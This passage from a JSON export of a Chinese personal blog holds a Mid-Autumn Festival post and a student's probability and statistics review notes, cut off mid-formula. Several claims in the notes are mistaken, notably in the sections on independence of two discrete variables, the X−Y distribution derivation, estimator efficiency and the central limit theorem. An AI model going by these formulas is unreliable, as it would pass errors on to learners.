loading=\"lazy\"/\u003e\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/Traveling-in-Jinnan.html"},{"title":"中秋,给家人打个电话吧","time":"2024-09-15T14:35:00Z","content":"“妈妈这个世界真的会有女孩喜欢我吗?”“当然啦第一次见你我也才20多岁。”中秋节将近,给家人打个电话吧。人有悲欢离合,月有阴晴圆缺,此事古难全。但愿人长久,千里共婵娟。但愿人长久,但愿人长久,但...\u003chr /\u003e\u003cblockquote\u003e\n\u003cp\u003e“妈妈这个世界真的会有女孩喜欢我吗?”\u003cbr/\u003e\n“当然啦第一次见你我也才20多岁。”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"330\" height=\"86\" src=\"https://music.163.com/outchain/player?type=2\u0026amp;id=2045946501\u0026amp;auto=0\u0026amp;height=66\"\u003e\u003c/iframe\u003e\n\u003cp\u003e中秋节将近,给家人打个电话吧。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e人有悲欢离合,月有阴晴圆缺,此事古难全。\u003cbr/\u003e\n但愿人长久,千里共婵娟。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e但愿人长久,但愿人长久,但愿人长久。\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/It-s-Mid-Autumn-Festival-call-your-family.html"},{"title":"概率论与数理统计","time":"2024-09-09T17:14:00Z","content":"前言第一版前言[[2024-09-14]] 今天补考终于结束了,听说正考直接放原卷,这几天刷了三套网上得来的“西电原卷”(21 年和两套 23 年)。上午刷的 21 年题,下午 $\\frac{1...\u003chr /\u003e\u003ch2\u003e前言\u003c/h2\u003e\n\u003ch3\u003e第一版前言\u003c/h3\u003e\n\u003cp\u003e[[2024-09-14]] 今天补考终于结束了,听说正考直接放原卷,这几天刷了三套网上得来的“西电原卷”(21 年和两套 23 年)。上午刷的 21 年题,下午 $\\frac{1}{4}$ 是一个字不改的原题,我都看笑了。\u003cbr/\u003e\n戴浩当年说尽力给钱班找最好的老师,现在看来数统院没人了?讲课不行可以说是重心不在教学、天赋不在教书;出套卷子直接搬旧题,还是近几年的,题也没审错漏百出,给我气笑了。\u003cbr/\u003e\n自己出的卷子毫无含金量,自己也不做做看。这是态度问题。\u003cbr/\u003e\n你电期末考试放水挺好的,但不要总是拿老本糊弄人。对学生大谈创新,对自己能混就行。这不是做学术的态度,更不是教书应有的态度。\u003c/p\u003e\n\u003cp\u003e概率论就此告一段落,这两天反复看笔记刷题订正不少错误,也明晰了这门课的知识结构。虽然内容仍然偏少,但作为期末复习的材料大抵足够,这版就作为终版吧(大概)。\u003cbr/\u003e\n中秋继续整理电动力学和数字信号处理。\u003c/p\u003e\n\u003ch3\u003e第二版前言\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNothing is final!!!\u003cbr/\u003e\n——钱学森\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e补充了分布函数左右连续问题,看来这门课离 final 还有很远……\u003c/p\u003e\n\u003ch2\u003e事件运算转逻辑运算\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e$A \\cup B=A+B$ \u003c/li\u003e\n\u003cli\u003e$A \\cap B=A \\cdot B$ \u003c/li\u003e\n\u003cli\u003e$A-B=A \\bar{B}$\u003cbr/\u003e\n$A$ 事件发生 $B$ 事件不发生,由韦恩图易证。\u003cbr/\u003e\n可以将 $-B$ 理解为 $\\cdot (-B)$ ,$-B$ 即为 $\\bar{B}$ \u003c/li\u003e\n\u003cli\u003e若 $A \\subset B$ ,$A \\cup B=B,A \\cap B=A$ \u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e事件运算转逻辑运算后,大部分法则共通。\u003cbr/\u003e\n运用数电中学到的逻辑函数运算与化简,可将复杂事件运算化简。\u003cbr/\u003e\nTips:卡诺图\u003c/p\u003e\n\u003ch2\u003e四大事件概率公式\u003c/h2\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nP(A+B)=P(A)+P(B)-P(AB)\\\\\u003cbr/\u003e\nP(A-B)=P(A)-P(AB)=P(A \\bar{B})\\\\\u003cbr/\u003e\nP(AB)=P(B) \\cdot P(A|B)=P(A) \\cdot P(B|A)\\\\\u003cbr/\u003e\nP(A|B)=\\frac{P(AB)}{P(B)}\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e推论\u003c/h3\u003e\n\u003cp\u003e$P(A+B+C)$ ,将 $A+B$ 看成一个事件,运用上面的加法公式,两次拆分得到:\u003cbr/\u003e\n$$\u003cbr/\u003e\nP(A+B+C)=P(A)+P(B)+P(C)-P(AB)-P(AC)-P(BC)+P(ABC)\u003cbr/\u003e\n$$\u003cbr/\u003e\n更多和事件概率可依此递推得到。\u003c/p\u003e\n\u003cp\u003e对立事件:$A$ 不发生的概率,韦恩图一目了然。\u003cbr/\u003e\n$$\u003cbr/\u003e\nP(\\bar{A})=P(1 \\cdot \\bar{A})=P(1-A)=P(1)-P(1 \\cdot A)=1-P(A)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e非负性与规范性\u003c/h2\u003e\n\u003cp\u003e非负性:对于任意事件 $A$ ,$0 \\le P(A) \\le 1$ 。\u003cbr/\u003e\n规范性:对于总事件 $\\Omega$ ,$P(\\Omega)=1$ 。\u003c/p\u003e\n\u003ch2\u003e相互独立\u003c/h2\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nP(AB)=P(A) \\cdot P(B)\\\\\u003cbr/\u003e\nP(A|B)=P(A)\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n独立必相互独立。\u003c/p\u003e\n\u003ch2\u003e古典概型\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e各基本事件发生概率相等。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eEg. 抛硬币,掷骰子……\u003cbr/\u003e\n$$\u003cbr/\u003e\nP(A)=\\frac{A包含基本事件数}{\\Omega 中基本事件数}\u003cbr/\u003e\n$$\u003cbr/\u003e\n古典条件概率公式\u003cbr/\u003e\n$$\u003cbr/\u003e\nP(B|A)=\\frac{P(AB)}{P(A)}=\\frac{同时在A,B中的基本事件数}{A包含基本事件数}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e伯努利概型(二项分布)\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e$n$ 次独立实验,每次实验只有 $A,\\bar{A}$ 两种结果。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e$X \\sim B(n,p)$\u003cbr/\u003e\n$$\u003cbr/\u003e\nP_n(k)=C_n^kp^k(1-p)^{n-k}\u003cbr/\u003e\n$$\u003cbr/\u003e\n其中,$p=P(A),1-p=P(\\bar{A})$ \u003c/p\u003e\n\u003ch2\u003e几何概型\u003c/h2\u003e\n\u003cp\u003e事件 \u003cem\u003e所占线/面/体积\u003c/em\u003e 部分与整个 \u003cem\u003e线/面/体\u003c/em\u003e 的 \u003cem\u003e长度/面积/体积\u003c/em\u003e 比值。\u003cbr/\u003e\n当事件所占空间维度低于总事件空间 $\\Omega$ 维度时,该事件概率恒为 0 。\u003cbr/\u003e\n==Warning==:事件概率为 0 不代表一定不发生。\u003cbr/\u003e\nEg:随机选中圆内某点,选中任意点概率为 0,但都可能发生。\u003c/p\u003e\n\u003ch2\u003e均匀分布\u003c/h2\u003e\n\u003cp\u003e$x \\sim U(a,b)$\u003cbr/\u003e\n近似为几何分布中的线性分布,各点处概率密度:\u003cbr/\u003e\n$$\u003cbr/\u003e\nf(x)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n0,x \\le a\\\\\u003cbr/\u003e\n\\frac{1}{b-a},a \u0026lt; x \\le b\\\\\u003cbr/\u003e\n0,x\u0026gt;b\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e分布函数:\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n0,x \\le a\\\\\u003cbr/\u003e\n\\frac{x-a}{b-a},a\u0026lt;x \\le b\\\\\u003cbr/\u003e\n1,x\u0026gt;b\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e指数分布\u003c/h2\u003e\n\u003cp\u003e$x \\sim E(\\lambda)$ \u003c/p\u003e\n\u003ch3\u003e概率密度\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf(x)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n\\lambda e^{-\\lambda x},x\u0026gt;0\\\\\u003cbr/\u003e\n0,x \\le 0\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e分布函数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(x)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n1-e^{-\\lambda x},x \\ge 0\\\\\u003cbr/\u003e\n0,x\u0026lt;0\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e泊松分布\u003c/h2\u003e\n\u003cp\u003e$X \\sim \\pi(\\lambda)$\u003cbr/\u003e\n$$\u003cbr/\u003e\nP(X=k)=\\frac{e^{-\\lambda}\\lambda^k}{k!}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e正态分布\u003c/h2\u003e\n\u003cp\u003e$x \\sim N(\\mu,\\sigma^2)$ \u003c/p\u003e\n\u003ch3\u003e概率密度\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf(x)=\\frac{1}{\\sqrt{2 \\pi} \\sigma}e^{-\\frac{(x-\\mu)^2}{2\\sigma^2}},x \\in R,\\sigma\u0026gt;0\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e分布函数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(x)=\\int^{x}_{-\\infty}f(t)dt\u003cbr/\u003e\n$$\u003cbr/\u003e\n显然,$F(\\mu)=\\frac{1}{2}$ ,即 $P(x \\le \\mu)=P(x\u0026gt;\\mu)=\\frac{1}{2}$ 。\u003c/p\u003e\n\u003ch3\u003e标准正态分布\u003c/h3\u003e\n\u003cp\u003e当 $\\mu=0,\\sigma=1$ 时,此分布为标准正态分布。\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\varphi(x)=\\frac{1}{\\sqrt{2\\pi}}e^{-\\frac{x^2}{2}}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\varPhi(x)=\\int^{x}_{-\\infty}\\varphi(t)dt\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e推论\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\varPhi(-x)=1-\\varPhi(x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x)=\\varPhi(\\frac{x-\\mu}{\\sigma})\u003cbr/\u003e\n$$\u003cbr/\u003e\n正态分布标准化:\u003cbr/\u003e\n$$\u003cbr/\u003e\nX \\sim N(\\mu,\\sigma^2),Z=\\frac{X-\\mu}{\\sigma}\\sim N(0,1)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e全概率公式\u003c/h2\u003e\n\u003ch3\u003e完备事件组\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nB_1 \\cup B_2 \\cup B_3 \\cup \\cdots \\cup B_n=\\Omega\\\\\u003cbr/\u003e\nB_i \\cap B_j=\\varnothing,i \\ne j,1 \\le i \\le n,1 \\le j \\le n\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n称 $B_1,B_2,B_3,\\cdots B_n$ 构成 $\\Omega$ 的一个完备事件组。\u003c/p\u003e\n\u003ch3\u003e全概率公式\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\begin{align}\u003cbr/\u003e\nP(A)\u003cbr/\u003e\n\u0026amp;=P(AB_1 \\cup AB_2 \\cup \\cdots \\cup AB_n)\\\\\u003cbr/\u003e\n\u0026amp;=P(AB_1)+P(AB_2)+\\cdots +P(AB_n)\\\\\u003cbr/\u003e\n\u0026amp;=P(B_1)P(A|B_1)+P(B_2)P(A|B_2)+\\cdots +P(B_n)P(A|B_n)\\\\\u003cbr/\u003e\n\\end{align}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e贝叶斯公式\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nP(B_1|A)=\\frac{P(AB_1)}{P(A)}=\\frac{P(B_1)P(A|B_1)}{P(A)}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e一维离散型随机变量\u003c/h2\u003e\n\u003ch3\u003e分布律\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nP(X=x_i)=p_i=\\frac{X=x_i情况数}{总情况数},i=1,2,\\cdots\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e分布函数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(x)=\\sum_{x_i\u0026lt;x}p_i,x \\in R\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e一维连续型随机变量\u003c/h2\u003e\n\u003ch3\u003e概率密度\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf(x)=F\u0026#39;(x)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e分布函数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(x)=\\int_{-\\infty}^xf(t)dt\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e区间概率\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nP(a\u0026lt;x \\le b)=\\int_a^bf(x)dx=F(b)-F(a)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e$\\because$ $P(x=a)=0,a \\in R$\u003cbr/\u003e\n$\\therefore$ 区间两边等号随意取\u003c/p\u003e\n\u003ch3\u003e规范性\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(\\infty)=\\int^{\\infty}_{-\\infty}f(x)dx=1\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(-\\infty)=0\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e二维离散型随机变量\u003c/h2\u003e\n\u003ch3\u003e联合分布律\u003c/h3\u003e\n\u003cp\u003e$P(X=x_i,Y=y_j)$\u003cbr/\u003e\n将 X,Y 可能取值列二维表,填入对应概率。\u003c/p\u003e\n\u003ch3\u003e边缘分布律\u003c/h3\u003e\n\u003cp\u003e$P(X=x_i),P(Y=y_j)$\u003cbr/\u003e\n将联合分布律的行/列相加,得到 $f_Y(x),f_X(y)$ \u003c/p\u003e\n\u003ch3\u003e条件分布\u003c/h3\u003e\n\u003cp\u003e$P(X=x_i|Y=y_j),P(Y=y_i|X=x_j)$\u003cbr/\u003e\n联合分布率每行/列除以该行/列对应的边缘分布律。\u003cbr/\u003e\n即每行/列的联合分布率化为\u003cstrong\u003e成比例项\u003c/strong\u003e,各项和为 1。\u003c/p\u003e\n\u003ch3\u003e两变量独立性\u003c/h3\u003e\n\u003cp\u003e==此处的独立性指的是线性无关,不代表完全独立无关。==\u003cbr/\u003e\n将联合分布表写成矩阵 $\\vec{A}$ ,当 $\\det \\vec{A}=0$ 时 X 与 Y 独立。\u003cbr/\u003e\nOr:联合分布表各行/列成比例时 X 与 Y 独立。\u003cbr/\u003e\nOr:联合分布率 $\\ne$ 边缘分布率乘积,即 $P(X=x_i,Y=y_j)\\ne P(X=x_i)P(Y=y_j)$ 时,X 与 Y 不相互独立。\u003c/p\u003e\n\u003ch2\u003e二位连续性随机变量\u003c/h2\u003e\n\u003ch3\u003e联合密度函数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf(x,y)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e规范性\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\int^{\\infty}_{-\\infty}\\int^{\\infty}_{-\\infty}f(x,y)dxdy=1\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e边缘密度函数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf_X(x)=\\int^{\\infty}_{-\\infty}f(x,y)dy\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nf_Y(y)=\\int^{\\infty}_{-\\infty}f(x,y)dx\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e条件密度\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf_{Y|X}(y|x)=\\frac{f(x,y)}{f_X(x)}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e独立性\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nf(x,y)=f_X(x)f_Y(y)\u003cbr/\u003e\n$$\u003cbr/\u003e\n满足以上条件时,X 与 Y 相互独立。\u003c/p\u003e\n\u003ch3\u003e分布函数\u003c/h3\u003e\n\u003cp\u003e设 $Z=X-Y$ ,\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{align}\u003cbr/\u003e\nF_Z(z)\u003cbr/\u003e\n\u0026amp;=P(Z\u0026lt;z)\\\\\u003cbr/\u003e\n\u0026amp;=P(X-Y\u0026lt;z)\\\\\u003cbr/\u003e\n\u0026amp;=P(X\u0026lt;Y+z)\\\\\u003cbr/\u003e\n\u0026amp;=\\int^{y}_{-\\infty}\\int^{y+z}_{-\\infty}f(x,y)dxdy\\\\\u003cbr/\u003e\n\\end{align}\u003cbr/\u003e\n$$\u003cbr/\u003e\n即分布函数 $F_Z(z)=\\iint_Df(x,y)dxdy$ 。由分布函数求导得概率密度函数 $f_Z(z)$ 。\u003cbr/\u003e\n==Warning==:$F_Z(z)$ 满足规范性。\u003c/p\u003e\n\u003ch2\u003e期望与方差\u003c/h2\u003e\n\u003ch3\u003e关系式\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nDX=EX^2-(EX)^2\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nD(cX)=c^2DX\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nD(X+Y)=D(X)+D(Y)+2Cov(X,Y)\u003cbr/\u003e\n$$\u003cbr/\u003e\nX 与 Y 相互独立时 $Cov(X,Y)=0$ 。\u003c/p\u003e\n\u003ch3\u003e常见期望与方差\u003c/h3\u003e\n\u003ch4\u003e$(0,1)$ 分布\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nEX=p,DX=p(1-p)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e$B(n,p)$ 二项分布\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nEX=np,DX=np(1-p)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e$U(a,b)$ 均匀分布\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nEX=\\frac{a+b}{2},DX=\\frac{(b-a)^2}{12}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e$E(\\lambda)$ 指数分布\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nEX=\\frac{1}{\\lambda},DX=\\frac{1}{\\lambda^2}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e$P(\\lambda)$ 泊松分布\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nEX=\\lambda,DX=\\lambda\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e$N(\\mu,\\sigma^2)$ 正态分布\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nEX=\\mu,DX=\\sigma^2\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e协方差与相关系数\u003c/h2\u003e\n\u003ch3\u003e协方差\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nCov(X,Y)=E(XY)-E(X)E(Y)\u003cbr/\u003e\n$$\u003cbr/\u003e\n显然,$X=Y$ 时,$Cov(X,X)=DX$ 。\u003cbr/\u003e\n$$\u003cbr/\u003e\nCov(X+Y,Z)=Cov(X,Z)+Cov(Y,Z)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nCov(X-Y,Z)=Cov(X,Z)+Cov(-Y,Z)=Cov(X,Z)-Cov(Y,Z)\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e相关系数\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\n\\rho_{XY}=\\frac{Cov(X,Y)}{\\sqrt{DX \\cdot DY}}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$|\\rho|$ 越大,相关性越强。\u003cbr/\u003e\n$Y=X$ 时,$X$ 与 $X$ 相关性最强,得到 $\\rho=1$ 。\u003cbr/\u003e\n$Y=-X$ 时,$-X$ 与 $X$ 相关性最强,得到 $\\rho=-1$ 。\u003cbr/\u003e\n显然 $|\\rho| \\le 1$ 。\u003cbr/\u003e\n$\\rho=0$ 时 $X$ 与 $Y$ 不相关。\u003cbr/\u003e\n==Warning==:不相关 $\\nRightarrow$ 独立,独立 $\\Rightarrow$ 不相关。\u003c/p\u003e\n\u003ch2\u003e切比雪夫不等式估计概率\u003c/h2\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nP(|X-EX|\\ge \\varepsilon)\\le \\frac{DX}{\\varepsilon^2}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e中心极限定理\u003c/h2\u003e\n\u003cp\u003e大量独立变量同分布,可近似为正态分布。\u003cbr/\u003e\n若 $x_1,x_2,\\cdots,x_n$ 独立且同分布,则\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\sum_{i=1}^nx_i \\sim N(\\sum^{n}_{i=1}E(x_i),\\sum^{n}_{i=1}D(x_i))\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e三大分布\u003c/h2\u003e\n\u003ch3\u003e$\\chi^2$ (卡方)分布\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nX=x_1^2+x_2^2+\\cdots +x_n^2 \\sim \\chi^2(n),x_i \\sim N(0,1)且相互独立\u003cbr/\u003e\n$$\u003cbr/\u003e\n上 $\\alpha$ 分位点 $\\chi^2_\\alpha(n)$\u003cbr/\u003e\n密度函数在第一象限\u003c/p\u003e\n\u003ch3\u003e$t$ 分布\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nX=\\frac{x_1}{\\sqrt{x_2/n}}\\sim t(n),x_1 \\sim N(0,1),x_2 \\sim \\chi^2(n),x_1与x_2相互独立\u003cbr/\u003e\n$$\u003cbr/\u003e\n上 $\\alpha$ 分位点 $t_\\alpha(n)$\u003cbr/\u003e\n密度函数形似正态分布,左右对称\u003c/p\u003e\n\u003ch3\u003e$F$ 分布\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nX=\\frac{x_1/n_1}{x_2/n_2} \\sim F(n_1,n_2),x_1 \\sim \\chi^2(n_1),x_2 \\sim \\chi^2(n_2),x_1与x_2相互独立\u003cbr/\u003e\n$$\u003cbr/\u003e\n上 $\\alpha$ 分位点 $F_\\alpha(n_1,n_2)$\u003cbr/\u003e\n密度函数在第一象限\u003c/p\u003e\n\u003ch2\u003e估计法\u003c/h2\u003e\n\u003cp\u003e简单随机样本相互独立且同分布时,估计未知参数。\u003c/p\u003e\n\u003ch3\u003e矩估计法\u003c/h3\u003e\n\u003cp\u003e样本量较大时,将样本近似为平均分布,样本均值替代总体均值(总体矩=样本矩)。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e根据所给分布律/密度函数求出期望 $EX$ (一阶总体矩)\u003c/li\u003e\n\u003cli\u003e根据所给样本求样本均值 $\\bar{X}$ (一阶样本矩)\u003c/li\u003e\n\u003cli\u003e令 $EX=\\bar{X}$ 解出 $\\theta_0$ 即为 $\\hat{\\theta}$ \u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3\u003e最大似然估计法\u003c/h3\u003e\n\u003cp\u003e估计值使得样本发生概率最大。\u003cbr/\u003e\n样本似然函数:\u003cbr/\u003e\n$$\u003cbr/\u003e\nL(x_1,x_2,\\cdots,x_n;\\theta)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nP(X=x_1)P(X=x_2)\\cdots P(X=x_n),离散型\\\\\u003cbr/\u003e\nf(x_1;\\theta)f(x_2;\\theta)\\cdots f(x_n;\\theta),连续型\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n求 $L$ 最大值,即求导得其驻点。因连乘求导繁琐,先将其化为对数形式后对未知参数 $\\theta$ 求导。\u003cbr/\u003e\n$$\u003cbr/\u003e\n(\\ln L)\u0026#39;=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n(\\ln P_1+\\ln P_2+\\cdots +\\ln P_n)\u0026#39;,离散型\\\\\u003cbr/\u003e\n[\\ln f(x_1;\\theta)+\\ln f(x_2;\\theta)+\\cdots +\\ln f(x_n;\\theta)]\u0026#39;,连续型\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n=0\u003cbr/\u003e\n$$\u003cbr/\u003e\n解出驻点 $\\theta_0$ ,即为估计值 $\\hat{\\theta}$ 。\u003c/p\u003e\n\u003ch2\u003e无偏性与有效性\u003c/h2\u003e\n\u003cp\u003e若 $E(\\hat{\\theta})=\\theta$ ,则称 $\\hat{\\theta}$ 为 $\\theta$ 的无偏估计。\u003cbr/\u003e\n若 $\\hat{\\theta_1},\\hat{\\theta_2}$ 均为无偏估计,且 $D(\\hat{\\theta_1})\u0026lt;\\hat{\\theta_2}$ ,则称 $\\hat{\\theta_1}$ 比 $\\hat{\\theta_2}$ 更有效。\u003c/p\u003e\n\u003ch2\u003e区间估计\u003c/h2\u003e\n\u003cp\u003e$X \\sim N(\\mu,\\sigma^2)$ ,通常将给定的 $\\bar{X}=\\mu,S=\\sigma$ 。\u003cbr/\u003e\n置信度:$1-\\alpha$ ,通常 $\\alpha=5\\%$ 。\u003c/p\u003e\n\u003ch3\u003e求 $\\mu$ 置信区间\u003c/h3\u003e\n\u003ch4\u003e$\\sigma^2$ 已知\u003c/h4\u003e\n\u003cp\u003e枢轴量(标准化):\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{\\bar{X}-\\mu}{\\sigma/\\sqrt{n}}\\sim N(0,1)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\mu \\in (\\bar{x}-\\frac{\\sigma}{\\sqrt{n}}\\mu_{\\frac{\\alpha}{2}},\\bar{x}+\\frac{\\sigma}{\\sqrt{n}}\\mu_{\\frac{\\alpha}{2}})\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e$\\sigma^2$ 未知\u003c/h4\u003e\n\u003cp\u003e枢轴量:\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{\\bar{X}-\\mu}{S/\\sqrt{n}}\\sim t(n-1)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\mu \\in (\\bar{x}-\\frac{S}{\\sqrt{n}}t_{\\frac{\\alpha}{2}}(n-1),\\bar{x}+\\frac{S}{\\sqrt{n}}t_{\\frac{\\alpha}{2}}(n-1))\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e求 $\\sigma^2$ 置信区间\u003c/h3\u003e\n\u003cp\u003e通常 $\\mu$ 未知。\u003cbr/\u003e\n枢轴量:\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{(n-1)S^2}{\\sigma^2}\\sim \\chi^2(n-1)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\sigma^2 \\in (\\frac{(n-1)S^2}{\\chi^2_{\\frac{\\alpha}{2}}(n-1)},\\frac{(n-1)S^2}{\\chi^2_{1-\\frac{\\alpha}{2}}(n-1)})\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e假设检验\u003c/h2\u003e\n\u003cp\u003e一般取 $\\alpha=5\\%$ \u003c/p\u003e\n\u003ch3\u003e$\\mu$ 检验\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e提出假设 $H_0:\\mu=\\mu_0,H_1:\\mu \\ne \\mu_0$ \u003c/li\u003e\n\u003cli\u003e选择检验统计量(枢轴量)\u003cul\u003e\n\u003cli\u003e$\\sigma^2$ 已知,选择 $\\frac{\\bar{X}-\\mu}{\\sigma/\\sqrt{n}}\\sim N(0,1)$ ,为 U 检验\u003c/li\u003e\n\u003cli\u003e$\\sigma^2$ 未知,选择 $\\frac{\\bar{X}-\\mu}{S/\\sqrt{n}}\\sim t(n-1)$ ,为 T 检验\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e根据选择的枢轴量求得拒绝域\u003cbr/\u003e\n$W=(-\\infty,-\\mu_{\\frac{\\alpha}{2}})\\cup 